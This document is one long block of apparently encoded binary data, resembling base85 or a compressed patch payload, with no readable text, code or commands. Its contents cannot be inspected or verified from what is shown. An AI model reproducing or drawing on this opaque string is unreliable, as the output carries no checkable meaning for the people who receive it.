zMn}j&jk)zBz|T+a>m4;QnHlE$)duzO==5CLhx$u?U)p{|hB$;@A}RPa-l-%>ue`C&ElbdxoLeNDW8Al2IDv>g1 zIgMmF!W-nnJLfY^M~`)s)v$4J$l%FobX%UJuYSyz@qRc2@qHL=U=yl&Qk#&mWm2*M zr!}BcH;>h_cvN;Lb-(B9t!ZrEZ#el0jXtt@O!4^&v~}7lJ0UXDR{Ak9F*_$;EG%qp zKDy3ppMD=mknnJgUV29z)t%A&b#-;{QS=;$10M2Q3oy8AB}wt;d$yXwZ5VgjuM>_u zlTgmlimE{wU1WY6Ke@4(l7t2)fk0*0S47>7r-(1&;}v=f2T*AE;`V)?Kzs@;j=e+X zeuyW^i~sP9UEzY(eX4f27b-&U*odtjB+tY5KpB-eA=8lgbS7$&!9j)zy5u3kBu!1( zkYLq+XuVFC1)>poEXd8o(@n(4&}>|zyK$bVFYpKw_}mCD(q;_>g*-7aK`8&|6!g5M zr2+EipC%xylhf7+?_tvYfQ(oTOinw>3V1?8rm;egtphw~bIKV*a7>jkhNQBeLbYUQ zctt&W4!h*;_^8WwDm{OD@u+`H$Nw|l@R4x`pMVZQE_yu-(o$ja-- zS<|q{<2-U&^8ve#r|_=c>$KpjR5o9_-$D`Ri4f%kSpnxu=mUh~(~#8Di~wxsnAv`W zTq*+tgY^9zI^__q7SIhGr=*o&Rdwl<{f0)340$(C-w@&)8mln7NHfzg4! ztnn82YioFPw@~j`IDB*GTk5q&=Qm$A5jPO1;h_nCaQ;*Wu77j(gMHJokBzP;g7}yLY$IxQ#=7m5y$A zx!!GFhT2;sFE4LwdRiY-x;c4y6LxO1c2hGm@VI6U%9?Rg;C53DfTu55xe~WIj+Hw& z#h{kn2`$wNRb)t&UvhPPmaAl@ZFlv!^&?folB~Zw|5^N{R3`u zRXUgzyMp^W!M1BRQ5&~yV+2h1W!;6F=MGx#b?DH|C_lx; z74y^bJ9B-(V!h9_M=*YG6-sA#C4CV}IIimMF#G(;6L);z$pN92P^338QKR9Zq0^S1 zDZqmCmQd;Rg38OslftI<@-ILkFR^bEyc7RmR4@;XH~EL3KYv=Hye95p7&ZKvwlZB< znIXQ|BeZ-3#qkwXR*T)}Vfdi$nX(#m`|08KBqt|iWvOt57b#d5tE?V#hB*xAiG4)@~7e=ING zh(YfG4EsLt_8xC`TWaQUpzXsW_tn>J@d&E5KD0fHBi+mFD?fc#5`HS=ixbBqLfy@W zs^DgYY*YPub7;r}J%BU}X$g0EjGcYm2PW}UokD3jxt)!TjX60vW3bek{W&)$=Gxh| zB4w~FyD)bB;>9&U`M!`}1T9$~s$Po4>h8s@2n^B|v{JqCOko-$)x$m?^gn*8tvxR$ z_6MfgXl9eu_tGgf;okIEtjt*OIZiRJEO)OsIVkTB3k$PHadk~Q_c#Z~0Hzg6o125l zKc2;6+@V%B>7YhU;Fh?A13vSBS#V@FaJcPTVRappF73l}P@S5Xcp)MZ4Cn z##PxN$$=t>j*o8VxcfQIf}cI~E0?cbV*{}6ud{38TA5=CJGV2R;FkFO>%|*?{Y+6~ zV^Ce4{PKL-3XO`23i2PkbwWGq$MG6YCCL%d^S|Gky!!JogR58n!d>tXS{jrghp@lj z088wP(YF{nD3kkg{rzEIe30Moy+iU4VmIvhR3q8&SH1_v^B(={AMu*v-R`QrJOANp5$ep|2W4s@wXq_!N2OBFyhs}z3dhfMSA&>e}0r- zuO3@_aIeF^z7KhIB*ou8F9yLV?Qj>S1S{QYeQJ@L;KS6?pI8{^+L ztEcQuxnZ)6PpYrr_dD~?-D^4j`*TE>_pA@!c*V%*-qWXth8f~RM*E7{4%*q-*_?@3 ztc&?HXp@thD<$@VhjLaHUM~BHC;Z~_Y~cXe*@}u4W@4*%z$BZXIjkofAWQH}OH1Q# zUGFXO4wBj@e374y@}A#!o*Zs(zY=$v+Pop218qG)`8LSv6q~gq%Aj>IQ8Vf&cdl zEtjpFe!6wJ;|0^KXvxkfu85GKpP%Eu#(yufxi8dfy3N<3QJ3Zv56|6Nqd+E^P0_Wd z^=BO)_xAN!{pb?Fiqca=zckuaPzA3V34Q?qV{>x@XmKVm<%z_G?w1u;4(@(C4jf>Y zS#H(se8Y6UOZ=+7enkN7VJyJ|(yO4YeY~)jOTkPC?gwPkFyNjpw-p!S+6H`tJR}#J zqt+s&!5M0mE~+wxlhXB}keyirMuEm7{n3w_I~8pcHu@|*I}CS@7X`fY<<|E3`Gv`f zcBI6?cPN7{J0D2m_{7Aos8>)>Fi|CB`n^I+7kO%f5T%g55FH$z+3j?mTU)#1jZ66QvMa@#m1QR+pR%GN3IvF2EiZ0@7V(RW z#B4mZxw$#Enb+6XUvzNb!&gF7l#`dgfIq-JGB_xP^bAGGK{!r=yQWybe*I~L_}jN{;|M+s3c916W_az|15eLQ=3V*5 z3LBW4>l+)7PM39d9*~id5fKqV7JrtUEaAEt*9?iO`0B~pmX>nhgO;|oedq{@8)xRL zSG%wY4>q58^&}1NmvOMAqmBfSx;&CxpNIt8tYk~g8XJiCG>X@IOZ)9OH0N}I4 zh%0I49UZ<8)}8hY4PjD#GeRsjzKf4oTUi~#npKgmnISdoal|OqmaSW@mga3?kbXrW zDma)bEq`JYkhy*|ncHSx=jFBa3m!jyoIH_m8mwoCcPG`;$>O5r>u zuSFLF56@ma(Ev5x0uR|oO|6Tb8Y^$28%;3ZjUHt`kL|6wRb_~?p!Q*uVq|2b3kno> z120KTPVT{1f<*HnMt>lB#B65Fix&@}0S3}~Upp=S)vHI(o*hP9FKzYpf8*fj_!1p$ zM`!0zwdUq#U(;x8f|&i$9iNi2)&12g9wH5#3%j3s)=N762osYBv{`4)p2g$;G&L1% zLPJwiQYA0$AkzCuett;_39ss<#wk6-8qXUqu*mpXboBVl4E$RD3Jlznl$6BG!GT3p zA&3V(BO}${zA*!GfA;ECQ`{STLex_C!o&9?PX5{=6UP|NuiM29obI?twBP8cIiM?H zH@8BQ*S*VX@%8B#CI<&tYsA%&XX}NWLteel?dRAbEI~$1beZSOnKO{4ZHMHwth#!u zJE=t4+Qc0l&p?lgKvetb(>XUcA%Hd5dZ}ol1A9n_p*r#%b_Z0vhl~gBOqMA;dbAhA z<$KCl+1aZ_-q_mOdd?N)_oyi=;|#7xU-cy?x4ykS9C44*&CLzrj)4zYgC7R)BaXA; zj^Pr1vpIvc1?Md-Iq^mCe$XbWL1OI9K07_#+AtY&qS5N!DgNqlciN+F=3F!wH9gA8 zx;eVG92W@4iQo6Soesp6HX(sIQ=J`8=$7r%Ki2#T<` zI96Z3UZJ6(p`{bebsHWYR*2v|FrCpv3M+`iUP84@C+J*GHZUY6u4-6%Q(`UV zKV|^FU%x+U-O#eE7=6%G7md^8-6Pk{OiVC6wtD;a?c_j%>b{7EHc6Y+yX=yqxlA{k z>Tr728`aW_VjR)Y(MNNg?Cl?-$S+*1Dx|oaHwFT9jX?oax?k2wT9!t}G&e6dcU;A7S_Qv;aWf(j#dGZf5*^oX*bwX5 zVj9dn^Zk<4^4^Hd_cK~rTJ?;}56k8%yVS=NPw?=RLhnbmx!=Qb7cQ(h7U_*g(_f;XguXe?&_cv$HaBP+pflUa{udl+3D&{gK^dgQ zkYwBqDCJpNnlHvT5Rt*5Z$Nde5C2tUhjOoRl*PEMZy|F)#M1+>5hBS*7JcDMVn5Rr zj0aF41bph~AY1J3A{=A54(T?gWHZPZMr8!=JL+WHi3&Xc&fyQJ}{sJUQk z%Z(fi!Nv*D?wBgE|2g(_Drx9aa|C%R5gP!6eZW!?vcU!+y{GiN)EgS_yNJfbGZIwg zc^#c7uEe(b?Xs_KzkGSp(aDL=VS>SKw8L-W)|^siX{iXr)5QpxSQiyrZOd7eo0FqD zp(b8t3C=3yl;Jj1MSSS_FC{m&J^oAHB=|9C^)LPXB7gpQ2q)q*RpHM&Lxa?aHe`eZ z?{yvt85wNDK_Q{2wl;N~lVit^GYSdOdyCvguK?1RJQV=rt40mFo^}?x2|-QHjrb6g zob2`X?FFus$1~jrroX@-Cu($1d&bvP`AHxHzX(TPn~MTXC+RcHT;uXy1KgR1kP&- z&MaEqxWU8D&W@qf>tEik1L1LPH1X28a})?<&ge`v3mk)>s6NB(bA83YqRXbVMty8% zMkKm+jJTjHE0;p}y=uW#$GGc-PxNytdtK+nRh7%KQuKWj@)wM|EEQ9M>^(_HxQ8ML z0QMc_nw`=(3zdRQVg6G-59g zGZO;T zYwv4nWFA%Jhc`7fF-B12IM1EL6X4!@h}5+E_T8^F>V2=K9^Cr<2i2kEHCN!^0&(x~+mm6R&P+c~z&s;C%RYrcB(M*B=^ zcWWy`R?S~avd^-zf(V_qW!tusXU>RgXte*O|Gklf4wTG@bx#TkB0x$9`g`tS+usZ3r^J_n;O*A_N`g7Mp0RL z0%M2hE7rI8+zxZbUs+jO2i)jKkYXHJFB3yAenZz6+AJ}%9J?QpS6puw6YpkVU=Z?) zj{mg4ZntcUZuH1&-GRZjuo;}GOGTYS_Kq84ZQwhPq*r#cqgqARoRA)2bn+{+$!{LnZ(npP zOvu;ED>^n-_{^L&YT(7i#TcC%wu*Gs)z$u;=qB0?Tr*k%1vFMs@7wn@G4T&X04Jxj zc!D4J_|$cG*8u)Hs*(MKk>1Jm^qDh`noGNpP(@r^1ayxdvDnZ;FG~HRyP;poaPj%N z=-SIDZPwo|j&qq=d~;;7^b+&jMbT-wKVlu;spYDNTu$rjqph{(b_s}%8V9Zb+53%e z4KdU^aD9xKX520tU^FWCl|F0g{`abvwQcR~Ud6ga?d=-Ve8sin82I#w$v~q-?cJ|X z&?MP#+%)j})x&cdWi$2rfK*U$3O$Jua8jPf7xzZ`sB3JzQ){$9b1UoJsZdECx8wtT zN_ub}$MTk*A3wG~IX!3Z=y(#n_^;CyvjCJ2#2;$pa$w;2KH!XfoC?-`Z`KnSMD{BY z{5I`~R#XDgmcXXYPWGk3%*;S^%Vdf5vFfnKNt0 z)8^q-IW~j-Y|Zu!L$$-xJ#8k3P#yulK}O?<z5DkMv9fxB zqeU%VI(M9N!v!>Q{h-@)b#>j5`+PHwI7Dqgou*4gYpQ}=0QD@Erin2H2Tt5fN!`A6 z>z9E64-^6@xByv{vBb}P<9%Rpn|tq^`szJizOS~aBL987H1~Zlzb_|i9WrNdaC6S9 z?OV2d{_^F#zWz~&{jNel3!ek)p3X`i`QsXES^)Vpft5xiKqGIL(yqEM4Hua;V=YWcsJQ zeT#@M``pN!i)g?1ec1_*&mn>=Pq{2kv#M;~J(!jMShG2BN>i%4H(}6Apdd32Xe-Qr zN=r+POiT#Cj^VBOg@s(ZA9T7x22oM`{8@7}*kiTg2OI+ix!82D3^ z-R1Ctyopzv^{wb0H6^7Icvf54+9G`Wq2YFT^vACRbNa~2-~*(V&xk9qE~>W5K{W&2 zhM1Ajw;W1EQR@BsGftfL+Nr*K_wIM-I*+ljz1QU=0kK3S7BzEXN=hH#*+)97$&zD| zl~K0ySaeCk{;GO3Eqb~|&(iWC2p4Y+iWe`y1fW4I|L`G@k#0VX(Y)2Y_GM4aiS{xF%y$~Uw)k44L(iS)ukz4rF@r0+qM0G@IK zDiqH`7QMtt3`Kp2I2%l*ZGTf}Wv+&2Rc%p`d$lT_P!Bru=M~k}edy!Aw`Xs6ha61n zQIAe~Y86Nkv}AxmsOjkXq3X=2G!|K=`FvG&KL?*rzjYu&k`>R;;NY=}Z1nIb^QIgH z&}f1w zWg{bfqCUPXyVUcI`Qy*l`!5D&8~eRQOXOS>QT>EG*NhiWOOdPR6_qh;tCuh(xECgg zIYTA6xVW$mVGU#gX3|Y(Y0A`IIMZ8$K6rfE>Vm5St;u8z&_wU806TWk(3mv8Vo%$` z_b$3r$Yd}eJ+1hB-@sbYGHXjq*?DO)Mmr_NYWmnX*gv8rU?t!$>vpzVOuLW)!JeaZ z3aA4@fs!iNNB4|`g#`yXc6SF`rNQ`Z2rwuNigY=4o`INO8Jo4(b^E9zXtohJZr#h3+Z@8d~U> z=J$U%d+3ql_aM8#im4;;*>a4iL~wW9Kzps-kR4qO?y3itsXVD49GjZD3bkF`Uk#m| zQYtD`7?}X5waT~Y2OdgeLsM{AT)ezh*Fy$JMuL3uoSd9?Q&VqT96lZ&I}#KW6cZO0 zw)s!j4SWm?fBE_C#DhEd;|G0q^xA%pkLavd_y2JiPhwu)8MWh+wVeQ^um%P2YA<}w z=!BJ`v$B*NMfow5`jVax7X~bgxcWJOopnw_KALuq(C{DohRhoG2P&f_W^R6-)Le#!OuDI}=rmgHNyqnO7cQkRgx|fp9^gjlfr^yW zR0CWt{}i;0mqlF<9EEpDT`NE!XJ_Y_g$k7afwzXxHlaTHhWhgLYYj)Yj_PV}GTzwr zPOYJI^R+%xj_#}9Mn~fc3w7$I;lToo(%8u8Af(^(JQbfmAA}$Wsrf-hA8fH$T{no0 zeY)O zP=4=5AD`$`r+W;UE>!<$59fW}!))3sD6!RP-iV#!Xkfp0MWt=hR2vPqi}fBSM`QNc zt}bnxGY2p|*HP#em701SmmB-Q9_|gK_3mL)&Ywjl2${en00IwBeBl=IQG4>V4%8ThVUA^q5|F#6S^^(D2# zx8glfR}h{9)t+jG!PeB&ew{xdQP{Daj{jkooXuVIeh))KDde=D4;WpyTN@kIQ(eKlE{h#fW4cR z_5<37`yL(}phQ{&bdd?uKy8Ty*f&8|4uNODB%owcH$pwW`3tbz`2_{!iI|mO+Y18j zW18zUD{vIt_(yc5Ti37g_Vy+-QsLoOo!#qx=`n!fvD^1O3h0c zgTmY|BBB~v-#@nTth^LPvjHs5>RVpMVA3uat2lWC`p4TcNMY3JG8hb0{# zInsDoTJG=`i8fK$EvKMx5kNQI{b3yAt z=!HsKedKg>YEVYtoarMgb_{3iZMY_UTuAf<6Fs-kBCh86+szz1sHj8{FL9)k(u5`7 z0|q)kBWfr+nE~ORzhT4oniL zapvoq+zt)(4}~WU`R>KBqPNP|*4F>?DY9AKqb*X`c8HlPP` zP^k6)3Zt3a;I&SMaoxIgiYh9|MB#%i*_;!C`}W=pSjFM!>bYc zdBIeFBUD51l-WBN8I{k=#D|Xd{qxiQ{?Ku(U&H?olJ+>-)0KlV&hmgFo}wWJIXyNz z8;>*+xfn2pNMyY*V+LTOFPH&g@UpZtnxC^15;E(+PSmAEU2Dty!_IEjc-EAeVB7%e zfN@uF@JXRD0bkY7&;UJ|E_-%jQC=6iBrvG&$f~h}NXdxsb4QhE8y6Bs;{_g%%m%ne z_lzZguhiwD8JWM}j&50AO^xr*H&LFVW>HzRwB!3h99+ZBb!Z{9T?g-%wYM+$_4q|8 z@N+65O_3$&soDiBg$zIcNPlHG>`=AytX&`?2nGkr(fi`YzAY(1%W+Cy5aU|jm@h*9 z=nanJ255uKD_Ox$1soQ$0g@&rK#Zlsgi?Aohz^|P3t%7E=<}WzffG95QuD|}-J~8L z%;4XL#fo2Os2E-jYK-6c=R1)&*`nA(3=C zX;vuSRq+1lGuwQ{@u?xuj!@WqQ|55f^`FNUO9S450ec}+=kC~ zXb)q+{r^O`HQI1v&w%^u*JlypzCbJN?vOQuU{=!I9ffj~j8`C?Kn#a2cnv2fXAx{r zsA*}z@J67rL#scI!WfzkFpP;cd)emj!61qv`3l(%Y{dBFBut|(U2g#;fCh;QXpWs7 zFJk{;Y^H-j`8Wpj#AltcyyUdoGCu*Rlaf4<>Kd(@pe_LXhw>V^3Y2G2S(yjMP%h5~ zMAr|hW}6>?FdVoBWR}9l#)GGGw{F?;0(AkfJ`~P@K|z>C+6pH!(t3e3KvtDkRW(u( z>LmgJctkw_Xt}1JViL0s`VbDvM}nw%7#7AN6-LFOtr!^P%-gB{1B>M@p&rACq`iYf zZCBSv=p3qWi4P1hg~+Jlmtb8&G1;75xRkx3-1w;ByV6$ff*WYV69mBQUW%@@1dCI& z$m)Sf07kOpYIJlINr?{ZI0b|N(x#@Yc;eTtTL;=j1i~VWh8zLqP@r9dvjV{sxJd<* z=sQF)115fa?90XQLJ(0X$xd$DyP$z>THqIxl31XfC<4e>I`TXwK7Kb9)rNC2GTTXk z127BhGpJW7fM_U)$R!1IiU0s!6J?ES$M!V|bM#IlnIiG^s3R|GYSN-U4-509Q;yWDMQKoA4t&?G~Q(29bALZ+v3G&?-68_mQoAmB-rV&*Gd<2 z1gLVW%^gI|lzqb76f>BzY`9kv7=@~&^Y}Zv7U|*C^{x52Trw6`jZ`RA6Dq|4!St7` zDL)IPCH|nAV|hp=RrBeyXRF;|>`IDgHa0~w4{m6-AU*UC4i^0_(|U%}H#2i1+}Xsn zBJ6(eE67p^{9$UE++dMqf9cpq+2NW?(<~?C3U-%h0N%Y}t1YID$2TAPUb1-;r5LbB zOd79&Ud^!fnJ~UHV*X{k0hgQlWeJIl@k!(&o=GV!t%xgby?ub8_l#@^98hz302-tO zAVKY*&6X`&T7F8z&c&st`=Jhp{scwi0A_kT=Xxi1Elyc^aBrsc+4qU8QCiw$De9D=PZE84vjsgpeM!zI z8n41*92_bUtVQF7W%29g!rsa37G8XSdqchDu9c^d8gAwZ>McF1rz$w1Gdc{4864Xq z0D`wLnZ^n0SmU}a|A8TV^?h5v6X*aU9kiStQi6(^rDk==fpRF)S_+(aVWxzn(wfpu z6CquON|^AIcq)A$uPjJ#IF?X= zRyzuz*!Ql2aByBSA*rR9!8j2r`MoX63$#*E{$*leOZ1Y62%+4jdr@hiT!5lpT2@u{ zGJqW9#`PZxsd+&IK=Dp^Hvs_w0J9n@NBS`Miglw$h=33d85q|+l+}1R9_I*f(L0RP ze?%FAm_t}<>dVKD7NU~a6r2yr>a_x zY0;l09IiLPketqiquCc61bm2=*LEC0sgE2yNWocntMxatX`mt$2v7X0c&_WZF~Qv9 zW5vtGg-4TBip69i{2qcbY@w=)>ZGJV!K8m{26g900&E3d^;k zRjl5(MWX-2-Wkj{J;ERz8eI-*KsS5nBM`^ z#_u3^5&CIAd=$|B*GBbgR@|?j?Squ+&y%5KQEM)mMk44yy#yBFH&49}>dd5`gj%EW zsw$#>Asiq8{x3sAn3O{X{klV=6i28&#K`S5FS^c1+rfOh+)^d4OVykZ(KP%JOv*A#mfF91Z{IVKZ zypB6|4*a4ecEy9~f#%rVM9|RECO@dZs$!mVvzeJ0kfI&5v|B=W*J04Kim+3JJiH4Q zjXaNd^1vapMbb`XQ6t!%5?<@aoCQ zpjk&vl+vG|)k5iuKvE}0<&Ho}%p%ai6UhsHFRr*+5D%y`M)r-U+wlzOhksd#&V zM|F+^jMDAKaJIoeNz6{OYu5tX{Qnbi*f<4<0=?JAPoH++=Hk)Dj_Qpe5gq^H+S*EF zCG743`5rvbg7O&8>^GD+sR?c!&qXxbX?0_c{T^lZ=e- zl%t%rbw=+LQ1D!r1s?R06i|rY#Op_fqHaYv(Kxt!xmn&xL=8>sYFYR zz%$rRgM<&A$+3ejW1m+6lG*UV43mooAs&M42s)i3>;`ttAad;DuRv5h zD-BO5;J%pz+2RGvVBc-3qmWrbJ_w^#v*u&$-5_G2^~?&jYCOP&X2Ni&2(3)KbRR zu0a>~ccK>jm-IKgk!l@rK}jF^Uj>1{N`irm$)L%NSVo~N8>h*_Bd%sAXV>ZHzU>_u z!>>Vc@vPAV!I=m!p+^0q{mYi!b4NGN^fom#TvAe^ghn8)d*OT%F90eGnfX z@68XYXMAjo;t8rHw5~YMz=cr-UaB-aZ}zzFx+^4kXk+TS#fh>rB0>r?Q#QBGiCLhM zaX_dxt78*=(l;LyM=w4#JBwoSEh47_jwQq+H+(B@xy-d*?2MDX?%9SX~YS2aeH)$lSkaw!ogY4#SYE3$$g7jT3Eb+IP~j zr!kz$9o@ElJ8R?<+|nz^2c$v616cp*QxRr|%3O3HxiWq1143QB@5K+dbGZ@Md-IIE zZS&er4^2CUJEH!Hb(Ilbc#h}vU!>% z$dH5sMum<-AD5@y%wt;YplC=rhuRA!Ueg1wMzag-->WOn%S^yWJ@%~Dh=__PCe!F8xo3v585tSx;%Y0XszQYPi;}4= zDlR@B?gZ&7Ct>E7a0onE3m*}uJ3SN#`It#voU3tDma@BX<>4t{y=G?YkTGQ~)&&C5 z(>=1iK$}C#2M-=#-yOSl-HM8$$EMPt390v=K0UmsXCwv06Z0+)1z*hIZiAa4{W+@W z%&gGvqpuFSS-y&=H-Tp3B!V?jFhs0&Y6<9$e%2&o81kSX>DP$^djzcA=EjY>PoLcJ zxxqbu`SK^JBpq%LP1*9R?=gqo$5mEY=3Srb0^YJa_c{dy|<_3MS4 zW)U`0v18owX`>0CTt)!4D4|<=fqiG^Mxk<=6LQA0N6|tpl>ntW|b& zY&ht@qUUBn2Sk~Tq6z%P&FpMmVzj{@oO)cKag2Ntx`5&@yxAKw@KJ}sK4J!h}hV^q+zWm{WmmiT6V&h&g#_~Hnvp`oE2 zukB=99pq29(L2rbl=GkE=f9>GjAz2VXVN=*?sL5F*+9tlR)1i!L4S2D*4NwH3jTbk zE%YX(UZb>zb|CgnBQPu!y4b*ZGf;GE*0RicC#$D*ZvzErU2Zssg)UzHBa#{~Boaux zHL8+UOst(hU$-G0bOOr!M+!dWJHIztNI{2-+>7i7FegOF?M?4BQh=g@!T<#{2rseA z4h5l7Jt&tDUW>@ys{sK4u`tsav52kT2fPYw70AbDA?7DTK~btWb9B695%RnEJTdVQ zU<_cpMfvvWC^^+q6QAbgg~7K#OfSUW|1f*Ms?Yi~7%7e`u{!|-g4Fdd<>aFW4;DS` zX+eYpWw@qaMHA%*K1ffmvYHwIyd*_))T{o_pQn@Ksi;WiH;{>ybWZFC_%^C1W#P-a1RNs*bI zeTtu--+W;G2T@ygFDKxv{yt~aweN!gKUc0-v2q}E4_<6p#HE%qX`#`6HVNeD_3IXY)+2IzLP8L zz1Pv3P;vx?k|-vBwPmnzqi-+IY4tR2$d%;t`@VcR4EF$A5=4qcEa5TsET&F zq_FThk!ZO*-Vhf|DJL_uHx1e#LozR$JkNT3u3#mgI5fxd@UL@hrJZz($p=U$3k%E7 z=`^=$47W9>=>%(MLH>UP)7g&Ai^$jjR-7x9mx^7N$aj1JlN~ZGOK_GOBQ%K5xO$cd z-q370fcZdr{tRI1p$~O(?1r^#2_U_G{Rf?XxJVo%Y+{b(O{kEcG!H|p-;bGIoN(s2 za7jk=*wCYX%!zsnIT`Nd1YBoZ1-6|9^7r&2ng1!)_72Z2I%y8u4CDz0V3{V z|NleWd&l+MxBvgyo6{;8afY%-C81$tkH{{GqRdJdVfXaZHWbOwSBFgC<)1pK1D3D+BRs&DY3ya!)>Utbt9MbENGiD45 zT$4nbWzx3`su!g0QeoOd0RK^0Ih+2-P(Kk5AmoB#3VJugDedT2(qg!B_wE^x0nfdZ zt)m-;8VjhCg%Z_Vn*)Lg4j6Q^v^K5+k}9P)qL;bEP*@M!lrAm|Pu1xu`G40&+}I_| z?=avbEzB`82c?#%0U_O97jl5EWYnXVG1En(j|C#MhBTze#RNSXBATVG?b@2i^A?&* zr}WLHP8kEmv(O>p-#aTKE6Z<`#^sczvFj>#B^|t<))ZWlbvtD0#vMQZz0bg%DbN9- z-8NpnkXRSDBIbr%I2h`S&_(Pus8jb6jDt0H)O2L=VahrvX4{k3djf^_1z5W2n{ABf zh=N=acZ;)E@xhDd!u=6EXof}bmd}=t{S_WQ?6xPw4EXh+UkA$ z&eMSa=bY>stQj>S0jt_ZHa|#UJV9+s@kaWpXkA zdE&RJGVKoxbz=9h-=& z{{*yPnD~6pDuwCzvc$y}B%&bIp1 zrjoP=LzZ*fp4PVEp}W+-G@wp9d}VL;Mb0Xkn(3bYM>?IoW3QLgP`JZw^Z(GYY>GJl zuFHV=|5L;AS<*iZ*MI)^|4~)?*1>K5k6l!u_NA9?f$oYxPL#6<4kRM#&JF3_z$D69 zzI{++3P#<;iSGK^u^u)t^(CHzr&<3c^dq!)JfkGB!~YB2IT9K7G~^Njr9XFWq1oOt zA9sNAQAu#fIj<>S+jT#JlS-G z#x*F>Xdwo~T}>7uD5oU3B8UN1W|w_Jyj50~fX_r5A+>`g0+K#E(eO`@V4UVo3Nf#8 znKiIF;fKlIk+@J4bf>L2&o`O>C39C3nGP}*aBq~xqEj8SnSfXr;NOq zP(k|ljCP-CnmnK35Gli4`(=kfRd58KCN{C>F5|D35t{;ItYuaQWeO>&K>9CL?rr-- z>tvW#cxEZpDC#2>%s--z^r)?TM1&P^o=thu#(Muv3KcJ|i`vSmCO|*ItxZ)_E95qg z`k9+IUoBb;O=>-DC2xnyE+~SW|6Vi0DewOE>jxpGC%FwB>vG~Mova&{(4FlowGM5V zD&ylQn!xWLye@m#9KS`OIn<@UxSFnA3%K!>rngkaNX@TO8}nO9xjC(7oxzB1^bC+F z3K0WAJ>R{esm$NkL&YB73_0q#}>MUZ9@sw*^k%<@3Yd#y)20|TF?B-gZPpDin1rmw_ zCR!`|Y}5KH)TVA{ypD6R>a7idN#C(YbXq^GF59p?eQ1VEk%)nnH-=tLh#T(8wYO_6 zZEYGl)A0kkuT6Zk4N-QzX&fN*A3bKw(@m2WcusOLPgGszYu!Ec?%hipx7b~JvAeJ| zGuppo;dk%hsfK zD?wE+5-xI?GB17(p2~lyVL`c&JOQ$imI+K(B$+2V%+FC<&!2HHlY{q0Wjwx8MJTrC z0Iso6MN19?grravL4>KEG^BU$S#WH3;i-KL_Mq4-K&BF;k$yft9cc56_Wqk*Ht^)A zF=Ni?Yj5F*0Z!wPI!M*b;mgfj@h{_mzu5)zk}%?Bp{*A{0Px?s@m9T6g+V6364I+!JiMuKWwB3XX> z+3Ho}a|iBi)^>AW6R;I2E4l>*fJ30wmuf?11%6-~|JIS7ZwSi#E?VLL7GM4u9Uc9D z^ce46G_!is^W0bVl;^*i%JsrNSm?8IBW>kPZFvqL$h6trcz%%JfSLxYJ6wR5NA)Fy zT|5{Gq5kCl|85&Y@f2fOH|Xi1tpYTE`zg4lAYelfUDRWhoqkkR8PfLvymuH^Rcs(Np)VPZ;Rqkm)z`e`FYBkDnO7zR_aawmV1X3;iI6D1<_x zIz-|%S0nS?yITW0k@m!qpv;uF*0p(QDeGXJc|LW5w3u4sssm{6wh&vFpNPV)Euq<<^g8kcw$NKQ8G^r;iKohddczf8TJ<9{COJI(j~`<#*w%Ex2! z>$_Qhf4Rf+gL3(pCrbw`8Zv3=>`{MBK4c(g__&?Sj}bZfvt&l-o-g{|YtKECgfpu7 zBf2++Nt%2_epx$hzOi>|_FnIWLwZT+XUVFh2GajsBIl+XuuH3@vi@BRhfzB0w~fK_ z#0{FIiV%8H4R!td0F63$jNd}lr`#W@wQ-{i6gt5xfQtFz#gWuJ8GT5{+@!56TG^L5 z^_l7Eg+HfP>{dJU*Iz%<7EipY?LW!$Wx>XRg#M#kTwLb)ucFuz@F?mKx9DXz;*T3Y zdeV5>`OxTdix|7G+}}v9#YfwJc|eBx#Jm0%j&7~HwtN&PnH-+*H*kqrPD^_BRf$WD zcVWwmRuYmLh$CB2y6p?qT{(MpTlSaeB@z`ei<%2WLqE8fxhrGQ4ql6n_JZaT(o-TJ zV-bOaWJfGk+P$a=k}C@1G4*Mg4b+7x!%olmtqM8KqZrwamS79WPWp~D{>w+vCcciw z6W%f&-2t1pgR6>25| zvY~aO-det4^RV-a1%e3lc-{e!mcyPnvTf6o zdQ+8^`@kx(vs20MF0k#iw{KNG+T@rji%@{Y0z;bi*O{g52$P+Jf2<}=M0&rR1E+~Q zAxp_xNX~yi&#|U&L&pB?XH(6%wfe=q#A*>X8A7G>DkCGd+r+3z=FlpOy}#DWtLYg< z$SCwjmW`57BIR%sSzLuJEGWt+Df>s4Q#&5q4}0+kwxt8Xu4?zHWop)wvI&8t;6?H5 zW!2Pj%Vnm#Zkn+2QH$D_;rR|KQwE+SnQ^YDpV2Y;%Pj6bELNIt!_P}W#QZjOlPuM; zI6K)L2oW)zxMzI6%jkYxg#?}ORgbMZ+K-t58O!Wirw-^Yl=TQj?l`wPffLd8?Vle1 zVNRScCis_~n+k_=N{A|)tR~;VAC0Sc{tN?#4siUivpa_2LLx3YvyhMRhY+1y1ad-l z1=j-@eWz!qOS!KdbDu>G*{K!%Il`;-P-$(wjs?$*dQf~&4KyO6yAFvuGEfoSE+S(D ztWD>0=!T**D5MbD*iMyzORvHTohLmOVLQR5<_`qx2xs!AD8W~ZIft3ZyyVhAmx71R z`A(PQ_o{Ai&^ylK6G(vYXF|Ezu;EaQL*H_J@=C75fk{uISpiZgI&CHGe>PTxr&gd+kW3DvU^ebQ*+EWGYfnXirvNO_!^6^&-{dXZ<~@q zXtt%wVDdpX#$|b!C33bNS>$sK_6!k-IJgd4RsQ>ygs3v_sTMNqNP`^Tr>i9qo~{cN zxq+Isoo#Vqe_<0-;k%WVz*EV!jJmjXJd^boyR`GAmsyM{I+ktfOB4|HRTwjRmyuUp z3z)@t5H?U(P!_)Z81^j))K(^LzTfj>4N&!oZoV-CZg`0g**G?h{;b2=SI&L zId9%51)V8O(#*OV{AD@^Ja7_6cAEuST7E%6Jr6&d{Lv;-MrFqI>9i^!hfpQo$p#yFF?5hI9D!q9}_+%bBg4!`%Z zqtRXVGMT+WGJw;2Bxk;GTlX(KjYL->H|CK({#(uEoZ(k+h&0wkb_|L^eXp z+e&3HCcMetTPS5Hfi?B6;PL`66kIsGA@cCjk_%d^vT99(}SJ32|($wG-8dAn@Sl7tiUW$rQL!&tS3nRD>2GK2~(1p|rQ5%J4-M#$(xJ zoprRj&PwIIVb8o~lWXypo_+kW_qxZJweA-^CSC6OWYvQ)vXnYJ-J?TeLtux^Ubf7| z?u&ZuJY*arS~TD^z(JieXAZUAKB01fX^qxej4W@i&0`H&>7IXS^vo!fo>gv|o?K|| z%GX&xgD2Z_>byuz9h!Ax&s{??4Vnvn%EO&|ao+XbdOE&_XeVhyiH5WA@Z)Sc;^HE? z)adZ9R)6gUlPHdUjO~)KZCgaF1v9KpE^sTIqL962CGiU^l;+d0`&oHW)K)Ydex!T1 